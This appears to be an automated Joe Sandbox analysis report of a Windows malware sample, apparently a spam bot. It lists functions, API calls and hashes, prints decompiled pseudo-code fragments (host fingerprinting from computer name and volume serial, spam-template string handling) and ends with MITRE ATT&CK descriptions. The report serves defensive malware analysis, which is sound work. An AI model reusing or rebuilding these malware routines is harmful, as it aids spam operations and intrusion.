GetTickCount.KERNEL32 ref: 0057BB82
InterlockedIncrement.KERNEL32(?), ref: 0057BDFE
closesocket.WS2_32(00000000), ref: 0057BE9D

Strings

0t, xrefs: 0057BB82

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction ID: 76e34f246f97c3dc4c9e1b32ba80e2e341b2a5c94b532d03ae030ee3b939e121
Opcode Fuzzy Hash: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction Fuzzy Hash: 43215171400248DFEF25DF64EC94BE97BA8FB44701F60855AF92882261DB31DA84EF51

Uniqueness

Uniqueness Score: -1.00%

Function 0057BD60, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0057BA23
InterlockedIncrement.KERNEL32(?), ref: 0057BA7D
GetTickCount.KERNEL32 ref: 0057BB62
GetTickCount.KERNEL32 ref: 0057BB82
InterlockedIncrement.KERNEL32(?), ref: 0057BDFE
closesocket.WS2_32(00000000), ref: 0057BE9D

Strings

0t, xrefs: 0057BB82

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction ID: 0a55d706a017529b4d8be8f6201c94452f70fe83cea1c1926597f8f13db0f8e8
Opcode Fuzzy Hash: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction Fuzzy Hash: 97213071400648DFEF25DF64EC58BE97BA8FB44701F60845AFD2882261E731DA84EF11

Uniqueness

Uniqueness Score: -1.00%

Function 0057BBB0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0057BA23
InterlockedIncrement.KERNEL32(?), ref: 0057BA7D
GetTickCount.KERNEL32 ref: 0057BB62
GetTickCount.KERNEL32 ref: 0057BB82
InterlockedIncrement.KERNEL32(?), ref: 0057BDFE
closesocket.WS2_32(00000000), ref: 0057BE9D

Strings

0t, xrefs: 0057BB82

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction ID: dcd3eb0ea37e28772eca387d407d8c92a3017ad8f268bf5ef8491cd0ac237fa1
Opcode Fuzzy Hash: 9ae727bc03e3a647016d1a17286895492352c477f613c7904a32ac3000c388d7
Instruction Fuzzy Hash: BB215171404648DFEF25DF64EC94AE97BA8FB44701F60855AFD2882261EB31DA84EF11

Uniqueness

Uniqueness Score: -1.00%

Function 00578F3E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00578F52
GetTickCount.KERNEL32 ref: 00578FF1

Strings

0t, xrefs: 00578F52, 00578FF1

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: 0t
API String ID: 536389180-1355922044
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 7448cc2af1422e9f14c143337bfb53b4c2ded6b032eeedc6a77e36fb6fb22010
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 9C21A572650655AFDB109F68F89D6BABFBAFB00311B2580A9E418D7111CF30EA40A758

Uniqueness

Uniqueness Score: -1.00%

Function 004290C1, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00429174

Strings

jjj, xrefs: 00429110
t/j, xrefs: 00429161

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction ID: 6be1b15bfcb950a2036d1baad0b390d5e2d1944689dfeeaa7f7bb0a326d24d8b
Opcode Fuzzy Hash: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction Fuzzy Hash: 2721D374E00229FBFB28DB49F949B6D7370AB14304FA0816BE505572D0D3799E60CB8E

Uniqueness

Uniqueness Score: -1.00%

Function 0057C21E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0057C220
wsprintfA.USER32 ref: 0057C2B0

Strings

0t, xrefs: 0057C220

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: 0t
API String ID: 2424974917-1355922044
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00577086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 005770A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 005770DD

Strings

|, xrefs: 005770CF

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: c4776ffd1f6392d12027f3dc5fff20d4546d9b75c3cdaa635ae34588810214ad
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: B111FE7290411CEBDF22DFD5EC84ADEBBBCBB08701F548166E506E6150D6709B88DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00573172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00572F71: GetModuleHandleA.KERNEL32(?), ref: 00572F8A
Part of subcall function 00572F71: LoadLibraryA.KERNEL32(?), ref: 00572F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 005731C3
HeapFree.KERNEL32(00000000), ref: 005731CA

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: 59534a5c5647527b9116b1c8047f0ec12982abbccae70cd0ca3c54a874e7cf0c
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: 4251CF7590024AEFCF01DF64E8889FA7BB5FF15314F148568EC9AC7211E7729A19EB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,74E5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

